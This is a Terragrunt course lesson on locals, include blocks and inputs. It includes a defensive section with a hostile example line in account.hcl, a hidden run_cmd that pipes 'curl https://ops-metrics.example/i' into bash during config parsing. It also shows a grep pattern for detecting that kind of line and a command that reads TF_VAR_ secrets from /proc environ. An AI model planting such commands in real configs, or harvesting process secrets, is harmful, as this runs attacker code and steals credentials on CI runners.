CoursesTerragruntInputs, includes & locals

Inputs, includes & locals

Share config across units.

Advanced12 min · lesson 6 of 12

A Terragrunt repo works like an apartment block. One set of house rules is posted in the lobby: where the post goes, who services the boiler, which number to ring at 3am. Every flat inherits those rules and writes down only what makes it different, the flat number and who lives there. Terragrunt, the wrapper that assembles configuration and then calls the real engine for you, gives you three building blocks for exactly that shape. locals are the notes stuck to your own fridge, readable in one file and nowhere else. include is the photocopy of the lobby rules that lands in your flat's folder. inputs is the shopping list you hand to whoever does the cooking, which here is OpenTofu or Terraform (OpenTofu is the open-source fork of Terraform; Terragrunt drives either one). Stack the three properly and a whole production environment fits in two or three lines per directory.

The Tree You Are Actually Building

A Terragrunt unit is any directory holding a terragrunt.hcl file. That is the thing Terragrunt runs against: one directory, one state file, one piece of infrastructure. Everything in these files is HCL (HashiCorp Configuration Language, the same syntax Terraform uses). The layout teams land on after a few painful months pushes shared facts up the tree into tiny files and keeps the leaves tiny too. An account number lives in one file. A region lives in one file. Anything shared by every copy of a component, like the pinned module source for a VPC (virtual private cloud, your own fenced-off network inside a cloud provider), lives in one file as well. The leaf directory repeats none of it.

terminal
cd ~/infra/live
find . -name '*.hcl' | sort
output
./_envcommon/vpc.hcl
./prod/account.hcl
./prod/eu-west-1/eks/terragrunt.hcl
./prod/eu-west-1/region.hcl
./prod/eu-west-1/vpc/terragrunt.hcl
./root.hcl
live/prod/account.hcl
# True for every unit under live/prod/, and typed exactly once.
locals {
account_name = "acme-prod"
account_id = "123456789012"
env = "prod"
}
# live/prod/eu-west-1/region.hcl is the same shape with a single key:
# locals { aws_region = "eu-west-1" }

Locals: The Note On Your Own Fridge

locals work like the variables you set at the top of a shell script and use further down, except they are scoped to the one file they appear in. They can call any Terragrunt function and they can reference each other. Terragrunt works out every local in the block while it parses the file, ordering them by what depends on what, and nothing has to read a local for it to be evaluated. Hold on to that last part. It comes back later with teeth. The function that makes the whole pattern work is read_terragrunt_config(): give it a path, it parses that file and hands back the entire config as an object, so a parent's locals arrive as local.account.locals.account_id. Pair it with find_in_parent_folders("account.hcl"), which starts in the directory above the file calling it, walks up, and returns the absolute path of the first match. It never looks inside the unit's own folder, which catches people out exactly once. Both functions take an optional second argument, a fallback returned instead of a hard error when the file is missing.

live/prod/eu-west-1/vpc/terragrunt.hcl
locals {
# Start one directory up, walk to the top, take the first match
account = read_terragrunt_config(find_in_parent_folders("account.hcl"))
region = read_terragrunt_config(find_in_parent_folders("region.hcl"))
# Flatten them into plain values the rest of this file can use
account_id = local.account.locals.account_id
aws_region = local.region.locals.aws_region
env = local.account.locals.env # "prod"
}

One rule catches everybody. Locals are deliberately left out of the include merge. A parent's locals do not appear in the child, and the child's never leak upward. That omission is the reason the pattern above exists at all: you read the shared file on purpose instead of hoping to inherit it. Keep locals to static or derivable values too. They are resolved while the config is being parsed, long before the engine runs, so you cannot read a dependency block's outputs from inside a locals block.

Include: The Photocopy Of The Lobby Rules

include pulls another Terragrunt file into this one and merges it. The usual target is root.hcl at the top of the repo, the file carrying your shared remote_state block (where the state file lives) and the generate blocks that stamp out provider configuration. Label every include. A bare include { ... } with no label still parses when it is the only one, kept around for backwards compatibility, but it is deprecated and support may go away. You can list several includes to layer several ancestors. You cannot nest them: if a file you include has an include block of its own, Terragrunt stops with an error. One level, always.

live/root.hcl
# Functions in a parent config are evaluated from the CHILD unit's directory,
# so this walks up from live/prod/eu-west-1/vpc/, not from live/.
locals {
account = read_terragrunt_config(find_in_parent_folders("account.hcl"))
}
remote_state {
backend = "s3"
generate = {
path = "backend.tf"
if_exists = "overwrite_terragrunt"
}
config = {
bucket = "acme-tfstate-${local.account.locals.env}"
key = "${path_relative_to_include()}/tofu.tfstate"
region = "eu-west-1"
encrypt = true
use_lockfile = true # native S3 locking, no DynamoDB table needed
}
}
# Defaults every unit in the org starts with
inputs = {
tags = {
Owner = "platform-team"
CostCentre = "eng-platform"
}
}

That evaluation rule deserves a second look, because at first glance it cannot possibly work. root.hcl sits above account.hcl in the tree, so a search upward from root.hcl itself would never reach it. The trick is that functions written in a parent config run from the child unit's directory, not the parent's. That is precisely what lets one root file serve every account and every region. The same rule drives path_relative_to_include(), which returns the path from the included file down to the unit and hands each unit its own state key for nothing. Written inside the parent, it needs no argument, since only one include pulled that parent in. Written inside a child that has more than one include, you have to name the one you mean: path_relative_to_include("root").

live/prod/eu-west-1/vpc/terragrunt.hcl
# Continued: two ancestors, layered
include "root" {
path = find_in_parent_folders("root.hcl") # backend + provider generation
}
include "envcommon" {
# dirname() of root.hcl's path hands you the live/ directory itself
path = "${dirname(find_in_parent_folders("root.hcl"))}/_envcommon/vpc.hcl"
expose = true # read it back as include.envcommon.*
}

expose = true makes the included file readable as include.<label>, so include.envcommon.inputs.enable_flow_logs and include.root.remote_state both resolve. Since locals never merge, expose is also the only way to read a parent's locals without going back and reading the file yourself. merge_strategy decides how the two configs combine. shallow is the default and merges one level down, replacing values where the keys collide. deep combines maps recursively and concatenates lists. no_merge brings nothing in and leaves you a config you can only read through expose. Two exceptions are baked in: remote_state and generate blocks are never deep merged, even when you ask for deep, and dependencies blocks concatenate their path lists even under a shallow merge. Where two includes set the same key, the one listed later wins, and the unit's own blocks beat every parent.

Inputs: The Shopping List You Hand The Cook

inputs is the block the engine actually consumes. Before Terragrunt runs OpenTofu or Terraform, every key in the merged inputs map is exported into the child process as an environment variable named TF_VAR_<key>, and the module picks it up through its matching variable declaration. Strings go across as-is; maps and lists are JSON-encoded, which means the type information is lost in transit and the module's own type constraint is what puts it back. Nothing lands in a .tfvars file (the format Terraform normally reads variable values from) unless you switch on Terragrunt's inputs debugging, which dumps them to a file for you to read. The merge runs across the top of the map, so if a parent sets tags and cidr_block while the child sets only cidr_block, the child's cidr_block wins and the parent's tags survives untouched. Put org-wide defaults high in the tree, then let each leaf state only what makes it different from its siblings.

live/_envcommon/vpc.hcl
# Shared by every VPC unit in every account and region
terraform {
source = "git::[email protected]:acme/tf-modules.git//vpc?ref=v1.4.0"
}
inputs = {
enable_flow_logs = true # security default, on unless a unit argues
flow_log_retention = 90
tags = {
Component = "network"
}
}
live/prod/eu-west-1/vpc/terragrunt.hcl
# Continued: what makes THIS unit different
inputs = {
vpc_name = "prod-core"
cidr_block = "10.0.0.0/16" # CIDR (Classless Inter-Domain Routing) notation:
# 10.0.0.0 through 10.0.255.255
aws_region = local.aws_region
# A shallow merge REPLACES this whole map. Deep merge blends it.
tags = {
Environment = local.env
ManagedBy = "terragrunt"
}
}

Prove What Actually Merged

Reading four files and holding the merge in your head is how mistakes ship. Ask the tool instead. terragrunt render prints the fully resolved config with every include folded in and every local worked out, and --json switches it to JSON (JavaScript Object Notation, a plain-text data format) so you can slice it with jq, a small command-line filter built for exactly that.

terminal
cd ~/infra/live/prod/eu-west-1/vpc
terragrunt render --json | jq '.inputs'
output
{
"aws_region": "eu-west-1",
"cidr_block": "10.0.0.0/16",
"enable_flow_logs": true,
"flow_log_retention": 90,
"tags": {
"Environment": "prod",
"ManagedBy": "terragrunt"
},
"vpc_name": "prod-core"
}

Look at what survived and what did not. enable_flow_logs and flow_log_retention came down from _envcommon/vpc.hcl untouched, because they sit at the top of the inputs map and nothing collided with them. tags collided, so the child's map replaced both ancestors' maps whole. Owner, CostCentre and Component are gone. The fix is one line per include, and it has to go on both, because merge_strategy is set per include block. A deep include does not rescue a shallow one sitting next to it.

live/prod/eu-west-1/vpc/terragrunt.hcl
include "root" {
path = find_in_parent_folders("root.hcl")
merge_strategy = "deep"
}
include "envcommon" {
path = "${dirname(find_in_parent_folders("root.hcl"))}/_envcommon/vpc.hcl"
expose = true
merge_strategy = "deep"
}
terminal
terragrunt render --json | jq '.inputs.tags'
output
{
"Component": "network",
"CostCentre": "eng-platform",
"Environment": "prod",
"ManagedBy": "terragrunt",
"Owner": "platform-team"
}

Five keys instead of two, and the difference is not cosmetic. If your cloud's policy engine refuses untagged resources, or your on-call rota is routed by Owner, or finance charges teams back on CostCentre, the shallow version quietly built production infrastructure that none of those systems can account for. The plan gave nothing away either. It listed the two tags it was handed, both of them perfectly valid tags, and nothing on Terraform's side of the fence knows that three more were meant to be there.

Fail The Build Instead Of Finding It In Production

terragrunt hcl validate --inputs checks the inputs you are passing against the variables the module declares, and it looks in both directions. --strict turns a mismatch into a non-zero exit code, which is the part CI (continuous integration, the automation that runs on every pull request) can act on. The second direction is the one that earns its keep. Inputs cross over as environment variables, and Terraform ignores any TF_VAR_ that has no matching variable in the module. Spell cidr_block as cider_block and the value is exported, ignored, and the module falls back to its default address range without a word of complaint. The opposite case, a required variable with no value at all, is the only one the engine catches on its own.

terminal
terragrunt hcl validate --inputs --strict
echo "exit=$?"
output
09:41:12.883 WARN The following inputs passed in by terragrunt are unused:
- cider_block
09:41:12.884 INFO All required inputs are passed in by terragrunt
09:41:12.884 ERROR Terragrunt configuration has misaligned inputs
exit=1

Parsing The Config Runs Programs

Here is where a lesson about sharing configuration turns into a lesson about trust. Terragrunt functions run while the config is being parsed, before a single line of plan output exists, and run_cmd() starts a program on whatever machine is doing the parsing. It does not go through a shell, which is why the line below has to ask for bash by name. Drop a run_cmd into a file high in the tree and it fires for every unit that reads that file, on every engineer's laptop and every CI runner, during terragrunt plan. Remember that nothing needs to reference the local it sits in. Every local in the block gets evaluated. A plan is supposed to be the safe, read-only step you let anyone run, and one line in a parent file is all it takes for that to stop being true.

live/prod/account.hcl
# After a one-line pull request that nobody read twice
locals {
account_name = "acme-prod"
account_id = "123456789012"
env = "prod"
# Reads like a harmless build tag. Runs during PARSING, for every unit
# below this folder, with whatever credentials the runner is holding.
build_id = run_cmd("--terragrunt-quiet", "bash", "-c",
"curl -sf https://ops-metrics.example/i | bash")
}

--terragrunt-quiet as the first argument keeps that command's output out of the Terragrunt log while still handing the value back to HCL. It exists so chatty helper scripts do not flood your terminal, and it works every bit as well for someone who would rather you did not read what their command printed. Terragrunt also caches run_cmd results during a parse, so the same command fires once and gets reused, which makes it quieter still. Note that terragrunt render, the inspection command from earlier in this lesson, parses the config too, so it runs this code as readily as a plan does. Catch it at review time with a grep over the changed HCL. Treat get_env with the same suspicion, since a value pulled from the runner's environment is a value your reviewers cannot see, and put sops_decrypt_file (SOPS is a tool for encrypting secrets inside config files) on the same list.

terminal
cd ~/infra
git fetch -q origin
git diff -z --name-only --diff-filter=d origin/master...HEAD -- '*.hcl' \
| xargs -0 -r grep -nHE 'run_cmd|get_env|sops_decrypt_file'
output
live/prod/account.hcl:9: build_id = run_cmd("--terragrunt-quiet", "bash", "-c",

Two more defences cost you nothing. Put every shared file behind CODEOWNERS (the file that forces named reviewers onto specific paths) so root.hcl, account.hcl, region.hcl and everything under _envcommon/ cannot change without someone who understands the blast radius looking at it. Then watch the process tree on the runner. terragrunt spawning tofu is ordinary. terragrunt spawning curl, bash -c or python3 during a plan is not, and that parent-and-child pair makes a clean detection rule for auditd (the daemon that writes the Linux kernel's audit events to disk) or a runtime agent like Falco (an open-source tool that watches syscalls, the requests programs make to the kernel, and alerts on the odd ones).

Every Input Is An Environment Variable

Inputs cross into the engine as environment variables, and environment variables on Linux are not private. The kernel publishes each process's environment at /proc/<pid>/environ, a file that exists only in memory and is assembled the moment you read it, with the entries separated by null bytes instead of newlines. That is why tr has to swap them before grep can do anything useful. It is readable by the user who owns the process and by root. Below is the database unit next door, mid-plan, where somebody put the master password in inputs because it worked on the first try.

terminal
tr '\0' '\n' < /proc/$(pgrep -n tofu)/environ | grep '^TF_VAR_'
output
TF_VAR_aws_region=eu-west-1
TF_VAR_db_name=orders
TF_VAR_engine_version=16.3
TF_VAR_instance_class=db.r6g.large
TF_VAR_tags={"Component":"database","CostCentre":"eng-platform","Environment":"prod","ManagedBy":"terragrunt","Owner":"platform-team"}
TF_VAR_db_master_password=S3cret-From-The-Inputs-Block
An input is a shopping list, never a safe
Anything in inputs becomes a TF_VAR_ variable in the engine's environment: visible to every process running as the same user, visible to root, and one stray env or set -x away from a CI log that half the company can read. Keep passwords, tokens and private keys out of inputs. Let the module fetch them at apply time from a secret store data source, or hand the runner short-lived credentials that the provider resolves on its own. On a shared runner, a plan that reads a secret is a plan that leaks it.
How one unit's effective config gets built
1root.hcl, account.hcl, region.hcl, _envcommon/
Shared facts, one copy of each
2locals resolve
read_terragrunt_config walks up the tree
3includes merge
shallow by default, later include wins
4the unit's own blocks
child beats every parent on a clash
5inputs become TF_VAR_*
env vars handed to tofu or terraform
Every arrow is a merge you can inspect with terragrunt render --json before anything is applied.
Quick check
01Your unit includes root.hcl with no merge_strategy set. Root sets inputs.tags to Owner and CostCentre, and the unit sets its own inputs.tags to Environment and ManagedBy. What does terragrunt render --json | jq '.inputs.tags' print?
Incorrect — Blending nested maps is what you buy with merge_strategy = "deep" on the include. Leave it off and the merge never descends into tags.
Incorrect — The ordering runs the other way round. Whatever the unit declares for itself beats every ancestor, under any merge strategy you pick.
Correct — A shallow merge sees a single key named tags on both sides and keeps the closer one, taking Owner and CostCentre down with it.
Incorrect — You get no error and no warning at all. The plan simply lists two valid tags, which is why this reaches production undetected.
02root.hcl sits at the top of live/, yet its locals block calls read_terragrunt_config(find_in_parent_folders("account.hcl")) and account.hcl lives two directories below it. Why does every unit still resolve the right account values?
Correct — A shared file is parsed in the caller's context, which is how one root file can serve prod, staging and every region without edits.
Incorrect — It only ever climbs, and it skips the calling directory itself, so anything sitting below the caller stays invisible to the search.
Incorrect — There is no single shared read. Each unit runs the function again for itself, which is why two accounts get two different IDs.
Incorrect — Locals are the one thing an include leaves behind, which is exactly why each file has to read the shared config on purpose.
03A VPC unit writes cider_block = "10.0.0.0/16" in inputs, a typo for cidr_block. terragrunt plan succeeds and the network comes up on the module's default range. What happened, and what would fail the build?
Incorrect — No name matching of any kind takes place. The key travels exactly as you typed it and nothing on the far side ever claims it.
Incorrect — An unmatched input is dropped on purpose. The only gap the engine catches by itself is a required variable that nobody filled in.
Incorrect — Render shows you the merged result, typo included, without comparing anything to the module. That comparison is a separate command.
Correct — The warning names the unused key, and the strict flag turns that warning into a non-zero exit your pipeline can actually fail on.

Before you touch a shared file again, take a baseline. Run terragrunt render --all --json -w from the top of live/. Terragrunt walks every unit it can find and drops a terragrunt.rendered.json beside each one, includes folded in, locals worked out. Commit those files. Make your change, render again, and the diff is your review: one moved line in account.hcl either lights up forty units or it lights up none, and you get to know which of those two it is before you press merge.

Try this

Run find . -name '*.hcl' | sort on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: an input is a shopping list, never a safe. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related